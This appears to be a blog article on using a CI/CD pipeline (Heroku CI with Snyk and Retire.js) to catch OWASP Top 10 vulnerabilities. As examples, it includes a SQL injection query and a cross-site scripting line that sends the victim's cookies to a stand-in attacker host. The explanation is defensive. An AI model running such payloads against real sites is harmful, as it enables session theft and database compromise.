Using Your CI/CD Pipeline To Prevent Your App From Getting Hacked
Your web app is most likely vulnerable to an attack right now. In fact, according to this recent survey, 9 out of 10 web applications were vulnerable to attack in 2019, and 45% of production apps had ‘high risk’ vulnerabilities. That’s a serious number. Luckily, a number of tools are available to help you execute security checks, and many of them can be conveniently automated through your CI/CD run.
In this article, I’ll look at the top 10 security vulnerabilities you should protect against. We’ll look at some tools you can use to check for those vulnerabilities, and how they can fit in with your DevSecOps goals of shifting security left by automating your CI/CD processes.
How Hackers Attack
There are many attack vectors that a hacker can use to get access to your system. The OWASP Foundation has compiled a convenient list of the top 10 security risks. Here are some of the attacks worth learning about and guarding against.
These kinds of attacks include things like SQL injection and LDAP injection attacks. This happens when data that user’s enter on a site aren’t validated or filtered by the application and are run against the server/database. One of the worst case scenarios is that an attacker might gain complete control over your host server.
Here’s an example of a SQL injection attack.
This could translate into this SQL query based on how the request is set up to handle the query string.
SELECT * FROM products WHERE category = ‘Gifts’ OR 1=1 — ‘ AND released = 1
When authentication isn’t implemented correctly, hackers can get through cracks in your security. Session tokens, passwords, and keys could be taken by attackers and used to make malicious updates. Bad authentication means that your app allows things like weak or well-known passwords or allows automated attacks. Here are a few best practices to keep in mind.
This is a common weakness in a lot of APIs — they don’t protect data like credit cards, healthcare information, and other sensitive information. The main way they expose this data is that they simply don’t use encryption in their data storage. Making sure that the application follows compliance regulations around encryption ensures you’re handling sensitive data correctly.
If an XML processor is poorly configured, it can be used to evaluate external entity references in the XML documents. That means attackers will be able to remotely execute code and see things like internal ports. One thing you can do to protect against this vulnerability is to make sure that your app doesn’t accept any XML directly.
Many authenticated users are authorized to use more features than they should be able to access. For example, they might have admin privileges to change other users’ accounts. One way to prevent this is to limit user access to only the information they need.
As an example, if a user has too broad of privileges, they could do a little phishing with your site and access an admin-only area by changing the URL.
Error messages that give too much information about your system, unfinished configurations, and outdated configurations can be a point of attack. An attacker might use these error messages to try to find unpatched libraries and packages with vulnerabilities that are used in your system. If you can, set up an automated process to check all of your configurations and settings across your different environments.
This kind of attack lets attackers execute malicious scripts in a user’s browser. That can lead to things like redirecting users to a malicious site or hijacking a user session and taking personal data. Cross-site scripting is found in close to two-thirds of all web applications.
Here’s an example of a simple cross-site scripting attack where the user’s cookies are being stolen and sent to the attacker’s server so they can impersonate the user later.
window.location=”http://wrongsite.com/?cookie=" + document.cookie
Serialization (or, converting information into a format that can be stored or transmitted) is commonly used in applications for storing data in databases, API authentication tokens, and message brokers. When an attacker can send serialized objects through your system and your system deserializes them, it means you’re vulnerable to someone else’s code being sent to and executed in your application — a serious flaw. Be sure your app doesn’t accept serialized objects from untrusted sources.
Don’t ignore those dependabot messages on GitHub. When you’re using packages with known vulnerabilities, your system is wide-open for a well-documented attack. Upgrade your package and library versions when security patches are released.
If there isn’t enough logging and monitoring set up on your application, it gives attackers ample time to get the data and leave before anyone notices. A breach can take more than 200 days to be detected, and it usually gets flagged by an outside team. Having adequate logging and monitoring can immediately alert you of any odd activity on your network or server.
How to Prevent Attacks Using Your CI/CD Pipeline
Now that we understand some of the most common attack vectors, let’s look at one way to mitigate these vulnerabilities: automating security checks using your CI/CD tools. For examples, we’ll walk through how easy it is to add a couple of the most popular security automation tools to your CI pipeline using Heroku Flow.
To start, let’s use this React/Node app for our example: https://github.com/flippedcoder/clear-budget-tracker
The configuration is done inside the app.json file.
"test-setup": "npm install -g snyk retire",
"test": "snyk auth $SNYK_TOKEN && snyk test && retire && npm test"
This file is where you add and modify the tests that run in Heroku CI. Normally it will run the `npm test` command. In this example, we’ve added a couple of security checks into the process — Snyk and Retire.
Snyk is a great tool for checking general vulnerabilities in your code, like cross-site scripting, DoS attacks, and arbitrary code injection. It runs in your pipeline, then logs all of the results. You can even configure it to send you reports.
We’re also running Retire.js. Retire.js checks your code for any vulnerable packages, and gives you a list of packages that need updated or replaced.
With these in place, you can run your unit tests, have the additional security checks, and then continue through the rest of the deploy processes as usual. Here’s what that process looks like in Heroku Flow. It’s honestly one of the easier deploy visualizations to understand. (Ignore all the failed tests it took to get this successful run!)
This works best when you have Heroku set up to automatically run your pipeline when you push changes to GitHub. You might even consider running a GitHub action in addition to Heroku CI to get feedback a little earlier.
Those are just two commonly used security tools — but there are many more out there to choose from. Here’s a list of a few other tools I recommend, and the pipeline phases where you might use them.
OWASP Dependency-Check — open-source tool that detects publicly disclosed vulnerabilities contained within a project’s dependencies.
Sonatype Nexus — a free scanner to check if your code has any open-source vulnerabilities. There’s also a quick version you can use to check a site by its URL.
OWASP ZAP — free, open-source penetration testing tool that tests messages sent between the browser and web app. You can use this one on any operating system.
Veracode — this project has tools for just about every part of security testing. One in particular can be used to check for dependency vulnerabilities and to conduct penetration tests.
SQLMap — an open-source penetration testing tool that looks for SQL injection flaws.
Chef InSpec — checks to see if your code meets compliance/regulations.
Burp — checks for request and response interceptions. Free for manual; paid upgrade for automated.
You can also use your CI/CD pipeline to help with security beyond integrating tools. Here are a few best practices you’ll want to make sure are implemented in all of your pipelines.
- Optimize your build time to make deploys to production happen quickly. This means keeping a small build size and only using the tools you need.
- Keep parity across all of your environments. This will help with testing; when developers and QA are testing against staging or other environments, it’s most useful when they are as close to production as possible.
- Don’t check secrets and credentials into version control. Make sure all PRs go through some kind of review/test to check for this. It’s more difficult to get these out once they’ve been merged in.
- Make the pipeline the only way to deploy changes to production so that you always know when code changes are released.
While it takes upfront time to get a secure pipeline in place, it pays off big time. When you can pass compliance audits and your customers trust your service because they don’t have unsolved problems, then all your security work will be worth it. Establishing a security pipeline also makes the entire company relax a little more because they aren’t as worried about their projects getting hacked.